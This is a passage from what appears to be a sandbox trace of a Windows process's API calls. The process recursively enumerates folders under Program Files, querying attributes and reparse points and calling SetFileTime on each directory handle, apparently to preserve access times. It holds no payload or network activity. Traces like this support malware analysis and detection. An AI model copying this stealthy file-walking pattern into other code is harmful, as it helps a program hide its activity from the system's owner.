ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9ff083d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework" (normalized: "c:\\program files\\microsoft sync framework"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.076] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.076] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d160 [0070.076] GetLastError () returned 0x12 [0070.076] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0070.076] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.076] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0" (normalized: "c:\\program files\\microsoft sync framework\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.076] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.077] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0070.077] GetLastError () returned 0x12 [0070.077] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d0a0 [0070.077] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.077] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.078] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.078] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d160 [0070.078] GetLastError () returned 0x12 [0070.078] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0070.078] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.078] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.079] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.079] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.079] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.079] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0070.079] GetLastError () returned 0x12 [0070.079] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0070.079] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.079] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0070.080] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.080] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0070.080] GetLastError () returned 0x12 [0070.080] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1e0 [0070.080] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.080] GetLastError () returned 0x12 [0070.081] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.081] GetLastError () returned 0x12 [0070.081] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.081] GetLastError () returned 0x12 [0070.081] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.081] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.081] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.081] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0070.081] GetLastError () returned 0x12 [0070.081] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0070.081] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.082] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.082] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0070.082] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0070.083] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0070.084] GetLastError () returned 0x12 [0070.084] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1e0 [0070.084] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.084] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.085] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.085] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0070.085] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0070.085] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0070.086] GetLastError () returned 0x12 [0070.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d160 [0070.086] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.086] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174e8e0 | out: lpFileInformation=0x174e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0070.086] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174e924, lpLastWriteTime=0x174e924) returned 0 [0070.086] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174e97c, lpOverlapped=0x0) returned 0 [0070.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d220 [0070.086] GetLastError () returned 0x12 [0070.086] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e72c) returned 0x60d2a0 [0070.086] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d2a0 | out: hFindFile=0x60d2a0) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.087] GetLastError () returned 0x12 [0070.087] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.087] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9febc110, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9febc110, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services" (normalized: "c:\\program files\\microsoft synchronization services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.087] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0070.087] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0070.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d1a0 [0070.088] GetLastError () returned 0x12 [0070.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60d0a0 [0070.088] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.088] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.088] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0070.088] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0070.088] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0070.089] GetLastError () returned 0x12 [0070.089] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d120 [0070.089] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.089] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0070.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0" (normalized: "c:\\program files\\microsoft synchronization services\\ado.net\\v1.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0070.090] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0070.090] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x107ba48, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x107ba48, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0070.090] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1a0 [0070.091] GetLastError () returned 0x12 [0070.091] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d1e0 [0070.091] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0070.091] GetLastError () returned 0x12 [0070.091] FindClose (in: hFindFile=0x60d1e0 | out: hFindFile=0x60d1e0) returned 1 [0070.092] GetLastError () returned 0x12 [0070.092] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0070.092] GetLastError () returned 0x12 [0070.092] FindClose (in: hFindFile=0x60d0a0 | out: hFindFile=0x60d0a0) returned 1 [0070.092] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa00d1450, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa00d1450, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0070.093] CreateFileW (lpFileName="C:\\Program Files\\MSBuild" (normalized: "c:\\program files\\msbuild"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0070.093] SetFileTime (hFile=0x17c, 